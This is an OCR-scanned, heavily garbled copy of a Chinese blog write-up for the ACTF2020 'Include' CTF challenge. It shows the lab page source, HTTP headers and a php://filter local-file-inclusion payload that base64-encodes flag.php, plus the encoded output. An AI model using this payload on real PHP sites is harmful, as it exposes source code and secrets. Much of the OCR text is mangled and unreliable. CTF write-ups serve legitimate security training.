[ACTF2020 #r4:#£]Include

B~ F 2020-08-11 23:03:56 K 1 2690 W 3

SHFER: CTE-HK LiRE CHERE: CTF MEwse

FRAUE B : ASCAEERAISCE, 5 CC 4.0 BY-SA MR, H8iFMH EFESCH s mA RS,
ACEERE: https://blog.csdn.net/qq_42404383/article/details/107946738

FERAL

SR Pk B R AR
16 RE 1175
W £

XEHF

[ACTF2020 %74 %]Include

AH :
ik
BE:

[ACTF2020 7 4 #]include
HBiH -

&« & © & 5165ec02-c72d-4737-85¢5-295e63%a759.node3 buuoj.cn B8 e Y

tips

O D= Deslse NREE DEESE (EigEs Ouwe OnF Q& v Tsms 85

Q EE HTML + .
<htmlx>
p <head> == </head>

<@ href="2file=flag.php">tips</a>

</body>
</html>



https://blog.csdn.net/qq_42404383
https://blog.csdn.net/qq_42404383/category_10482709.html
https://so.csdn.net/so/search/s.do?q=CTF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E7%25BD%2591%25E7%25BB%259C%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_42404383/article/details/107946738
https://blog.csdn.net/qq_42404383/category_10482709.html

&« & © & 5165ec02-c72d-4737-85¢5-295e63%a759.node3 buuoj.cn/ B8 e Y N @

Can you find out the flag?

I D= Desls NEE DEE (JEeEs Qe OaF B e  oshis 35 uEEs @ He

W 7 iEuRL I ® [OJ==
FrE HTML €55 J5 XHR =t B = ws Eft
1 @ st % :ogsn - B B Cockie R W HES HEERE

2 Gjg. /Hile=fla.. brh 2. 7
B G & . faviconico Fa h BZ 5

b GET hitp//5165ec02-c72d-4737-85c5-295e639ea7 59.node3. buuoj.cn/Hile=flag. php

Y= 280 OK (7)

e HTTR/M.1

25 233 F7 (A48 F1)
Referrer BrSs no-referrer-when-downgrade

~ WEREL (185 F79)
Connection: keep-alive
Content-Length: 48
Content-Type: text/html; charset=UTF-8
Date: Tue, 11 Aug 2020 06:09:13 GMT
Server. openresty

X-Powered-By: PHP/7.3.13

v &R (585 FH)
Accept: text/html application/uhtml+xml,application/xml,g=0.9,image/webp,*/*g=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW:;q=0.7 zh-HK;g=0.5,en-U5;q=0.3,en;q=0.2
Cache-Control: max-age=0

Connection: keep-alive

Host: 5165ec02-c72d-4737-85c5-295e63%¢a7 59 node3 buuoj.cn

Referer. hitp//5165ec02-c72d-4737-85c5-295e63%a 759 node3.buuoy.cn/
Upagrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x64; rv.79.0) Gecko/20100101 Firefox/79.0

Grir:

Fibpd e, 7o 28 i
EE MWL E] ==> php7.3.13
url ?file=flag.php

B -



252 F php:/ffilterth Pr 3G AT STHER&
Hipayload = http://5165ec02-c72d-4737-85¢5-295e639ea759.node3.buuoj.cn/?file=php:/filter/read=convert.base64-
encode/resource=flag.php

&« A o © & 5165ec02-c72d-4737-85¢5-295e639¢ea759.node3.buuoj.cn/ B8 < ¥ n @O & & 17 =
[ &snas taEs
PD9waHAKZWNobyAiQ2FulHIvdSBmaw5kiG91dCB0aGUgZmxhZz8i0wovL2ZsYWd7¥YmZmMjQwOGELZjZhMS00Z GFkLWE?Z

L4
O O=E=F Dzs NEE DFgs (Jaasss O ORF B EE T TSR B WFAEE @ HackBar  [J] = >
Qg% HTML + A vaE b wF HEE
<html> (=D thov .l - s
p <heads (=) </ head> —
w <body> ;Ei o FEHE—TEIE (Flex,
PO9wWaHAK ZWNObY AL Q2 FUTH] vdSBmaks k 165100 BRaGUETmhZ 28 10WovL 27 5YWd 7YMZmM QuDGELZ JZhMSBRTGF kLWEZMT CtM] c 2ZDAXZMUBNWT 1 F (0= IME LR,
</ body>
</html> - FIE
UEHE FEEER C
v EfER
margin 8
4221
» SHEREN
box-sizing C

display b

figt iR



R BB B 5 2 A

EEEINEEAEENAESSEIL X

<?php
echo "Can you find out the flag?";
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